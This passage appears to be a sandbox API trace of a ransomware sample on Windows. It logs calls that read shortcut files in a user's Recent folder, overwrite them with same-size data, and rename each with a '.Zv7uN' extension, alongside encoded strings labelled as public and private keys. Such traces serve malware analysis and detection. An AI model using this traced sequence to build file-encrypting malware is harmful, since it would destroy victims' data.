lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.737] GetCurrentThreadId () returned 0xa30 [0082.737] GetCurrentThreadId () returned 0xa30 [0082.737] GetCurrentThreadId () returned 0xa30 [0082.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0SinzaP1mEbUlrC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0sinzap1mebulrc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.737] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.737] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.737] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa79 [0082.737] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.737] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa79, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa79, lpOverlapped=0x0) returned 1 [0082.739] CloseHandle (hObject=0x124) returned 1 [0082.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0SinzaP1mEbUlrC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0sinzap1mebulrc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.741] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa79, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa79, lpOverlapped=0x0) returned 1 [0082.743] CloseHandle (hObject=0x124) returned 1 [0082.744] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0SinzaP1mEbUlrC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0sinzap1mebulrc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0SinzaP1mEbUlrC.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0sinzap1mebulrc.lnk.zv7un")) returned 1 [0082.746] GetCurrentThreadId () returned 0xa30 [0082.746] GetCurrentThreadId () returned 0xa30 [0082.746] GetCurrentThreadId () returned 0xa30 [0082.746] GetCurrentThreadId () returned 0xa30 [0082.746] GetCurrentThreadId () returned 0xa30 [0082.746] GetCurrentThreadId () returned 0xa30 [0082.746] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30231e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe30231e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe30231e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe12, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="P1RaoM.flv.lnk", cAlternateFileName="P1RAOM~1.LNK")) returned 1 [0082.746] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.746] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P1RaoM.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p1raom.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30231e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe30231e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe30231e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe12)) returned 1 [0082.747] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P1RaoM.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p1raom.flv.lnk")) returned 0x20 [0082.747] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P1RaoM.flv.lnk", dwFileAttributes=0x80) returned 1 [0082.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0082.750] GetCurrentThreadId () returned 0xa30 [0082.750] GetCurrentThreadId () returned 0xa30 [0082.750] GetCurrentThreadId () returned 0xa30 [0082.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.751] GetCurrentThreadId () returned 0xa30 [0082.751] GetCurrentThreadId () returned 0xa30 [0082.751] GetCurrentThreadId () returned 0xa30 [0082.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P1RaoM.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p1raom.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.751] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.752] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.752] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe12 [0082.752] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.752] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe12, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe12, lpOverlapped=0x0) returned 1 [0082.754] CloseHandle (hObject=0x124) returned 1 [0082.754] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P1RaoM.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p1raom.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.756] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe12, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe12, lpOverlapped=0x0) returned 1 [0082.757] CloseHandle (hObject=0x124) returned 1 [0082.759] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P1RaoM.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p1raom.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P1RaoM.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p1raom.flv.lnk.zv7un")) returned 1 